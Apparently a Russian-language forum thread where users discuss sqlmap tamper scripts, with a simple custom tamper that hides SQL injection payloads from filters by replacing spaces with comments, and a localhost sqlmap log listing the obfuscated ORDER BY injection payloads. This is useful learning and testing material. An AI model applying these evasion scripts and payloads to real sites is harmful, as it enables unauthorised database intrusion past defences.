Приветствую ребят!
Подскажите пожалуйста, у кого есть шпаргалка с подробным объяснением tamper'ов для мапа?
Подскажите пожалуйста, у кого есть шпаргалка с подробным объяснением tamper'ов для мапа?
def tamper(payload, **kwargs):
#!/usr/bin/env python
"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import random
#from lib.core.enums import PRIORITY
#__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""Простая обфускация: заменяет пробелы на /**/"""
return payload.replace(" ", "/*MYTAMPER*/")
import mytamper # Импортируем наш тампер
# Тестовый SQL-запрос
test_payload = "SELECT id, username FROM users WHERE id=1"
# Проверяем, как тампер его изменит
tampered_payload = mytamper.tamper(test_payload)
# Вывод результата
print("Оригинальный SQL-запрос:")
print(test_payload)
print("\nПосле применения тампера:")
print(tampered_payload)
#from lib.core.enums import PRIORITY
#__priority__ = PRIORITY.NORMAL
└─$ sqlmap -u 'http://localhost/test.php?id=1' --tamper=mytamper.py -v 3 --ignore-code 404 --skip-waf
[14:24:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:24:59] [PAYLOAD] 1)/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/1--/*MYTAMPER*/bgQN
[14:24:59] [PAYLOAD] 1)/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/9493--/*MYTAMPER*/hgNP
[14:24:59] [PAYLOAD] 1/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/1--/*MYTAMPER*/gGSP
[14:24:59] [PAYLOAD] 1/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/9382--/*MYTAMPER*/pREQ
[14:24:59] [PAYLOAD] 1/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/1--/*MYTAMPER*/QrbR
[14:24:59] [PAYLOAD] 1/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/7439--/*MYTAMPER*/AsJV
[14:24:59] [PAYLOAD] 1')/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/1--/*MYTAMPER*/xpzz
[14:24:59] [PAYLOAD] 1')/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/2944--/*MYTAMPER*/VuEd
[14:24:59] [PAYLOAD] 1'/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/1--/*MYTAMPER*/kcxl
[14:24:59] [PAYLOAD] 1'/*MYTAMPER*/ORDER/*MYTAMPER*/BY/*MYTAMPER*/5407--/*MYTAMPER*/nxJm
[14:24:59] [DEBUG] skipping test 'Generic UNION query (random number) - 1 to 10 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (NULL) - 11 to 20 columns' because the level (2) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (random number) - 11 to 20 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (NULL) - 21 to 30 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (random number) - 21 to 30 columns' because the level (4) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (NULL) - 31 to 40 columns' because the level (4) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (random number) - 31 to 40 columns' because the level (5) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (NULL) - 41 to 50 columns' because the level (5) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'Generic UNION query (random number) - 41 to 50 columns' because the level (5) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (NULL) - 1 to 10 columns' because the level (2) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (random number) - 1 to 10 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (NULL) - 11 to 20 columns' because the level (2) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (random number) - 11 to 20 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (NULL) - 21 to 30 columns' because the level (3) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (random number) - 21 to 30 columns' because the level (4) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (NULL) - 31 to 40 columns' because the level (4) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (random number) - 31 to 40 columns' because the level (5) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (NULL) - 41 to 50 columns' because the level (5) is higher than the provided (1)
[14:24:59] [DEBUG] skipping test 'MySQL UNION query (random number) - 41 to 50 columns' because the level (5) is higher than the provided (1)
[14:24:59] [WARNING] GET parameter 'id' does not seem to be injectable